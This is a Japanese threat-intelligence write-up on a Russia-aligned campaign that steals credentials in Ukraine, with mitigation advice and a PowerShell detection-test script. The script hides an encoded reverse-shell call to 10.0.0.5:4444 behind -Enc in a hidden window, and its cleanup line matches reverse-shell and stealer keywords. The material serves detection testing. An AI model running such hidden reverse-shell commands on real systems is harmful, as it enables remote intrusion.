Gorbagマルウェアキャンペーンがウクライナからインテリジェンスを収集

概要

Gorbagはロシアに連携した脅威アクターであり、ウクライナの組織を標的にして機密情報を収集しています。このグループは、BeautyStealerインフォスティーラーとPrime ReverseShellを含む専門的なツールキットを使用して、ブラウザの認証情報、VPN構成、文書を収集しています。その作戦は、長期的な持続性よりも迅速な情報収集を強調しており、最初のアクセス仲介者としての役割を示唆しています。

調査

ESET研究者は2025年2月からGorbagの活動を追跡し、2026年にはWinRARのパス・トラバーサルの脆弱性の悪用に向けたシフトを観察しました。この調査により、複数のBeautyStealerのバリエーションと、TelegramやカスタムC2インフラストラクチャを介したデータ漏洩が特定されました。研究者はまた、AIベースのセキュリティツールを欺くために修正されたPowerShellリバースシェルを発見しました。

緩和策

組織はWinRARを更新してCVE-2025-8088に対処し、スピアフィッシング試行をブロックするためにメールフィルタリングを強化する必要があります。グループポリシーでマクロの実行を制限することで、最初の感染段階を防ぐことができます。セキュリティチームは、Telegramのようなサービスへの不正なデータ漏洩と異常なPowerShell活動を監視する必要があります。

対応

悪意のある活動が検出された場合、データのさらなる流出やクレデンシャルの窃取を防ぐために、妥協されたホストを隔離します。以下の %ProgramData% ディレクトリとWindowsスタートアップフォルダーを調べて、不審なLNKファイルやペイロードを特定します。影響を受けた環境全体で、ブラウザに保存されたパスワードやVPN構成を含む、可能性のある漏れたクレデンシャルをすべてリセットします。

シミュレーション実行

• 攻撃の説明とコマンド： 対戦相手はスピアフィッシングの添付ファイルを介して初期アクセスを得ました。持続性を確立し、コマンド・アンド・コントロール（C2）チャンネルを確立するために、彼らは”Prime ReverseShell”を展開しようとします。彼らはPowerShellを使用して -Enc （EncodedCommand）フラグを使って基本的な検査からペイロード構造を隠し、文字列 Invoke-ReverseShell をデコードされたロジックに含めることで、既存のツールキット署名との互換性を維持しています。同時に、特定の識別子を含むスクリプトを呼び出すことで「BeautyStealer」活動をシミュレートし、ブラウザデータを流出させます。

• 回帰テストスクリプト：

  # シミュレーションスクリプト： Gorbag APTパターントリガー
  # このスクリプトは、特定の検出文字列をトリガーするために2つの別々のコマンドを実行します。
  
  Write-Host "[+] シミュレーション開始： Prime ReverseShell/BeautyStealerロジックをトリガー中..." -ForegroundColor Cyan
  
  # 1. -Enc経由とInvoke-ReverseShellによるトリガー（Prime ReverseShellをシミュレーション）
  # デコードされると‘Invoke-ReverseShell’を含むBase64エンコードされたコマンドを使用します。
  $Command = 'Write-Host "Connecting..."; Invoke-ReverseShell -IP 10.0.0.5 -Port 4444'
  $Bytes = [System.Text.Encoding]::Unicode.GetBytes($Command)
  $EncodedCommand = [Convert]::ToBase64String($Bytes)
  
  Write-Host "[+] エンコードされたコマンドを実行中..." -ForegroundColor Yellow
  Start-Process powershell.exe -ArgumentList "-Enc $EncodedCommand" -WindowStyle Hidden
  
  # 2. ‘BeautyStealer’キーワードによるトリガー（BeautyStealer活動をシミュレーション）
  Write-Host "[+] BeautyStealerキーワードトリガーを実行中..." -ForegroundColor Yellow
  Start-Process powershell.exe -ArgumentList "-Command `"Write-Output 'Running BeautyStealer module...'`"" -WindowStyle Hidden
  
  Write-Host "[+] シミュレーションコマンドが送信されました。" -ForegroundColor Green

• クリーンアップコマンド：

  # クリーンアップ： 永続的なファイルは作成されていませんが、孤立したプロセスが残らないようにします。
  Get-Process powershell | Where-Object { $_.CommandLine -like "*Invoke-ReverseShell*" -or $_.CommandLine -like "*BeautyStealer*" } | Stop-Process -Force
  Write-Host "[+] クリーンアップ完了。" -ForegroundColor Cyan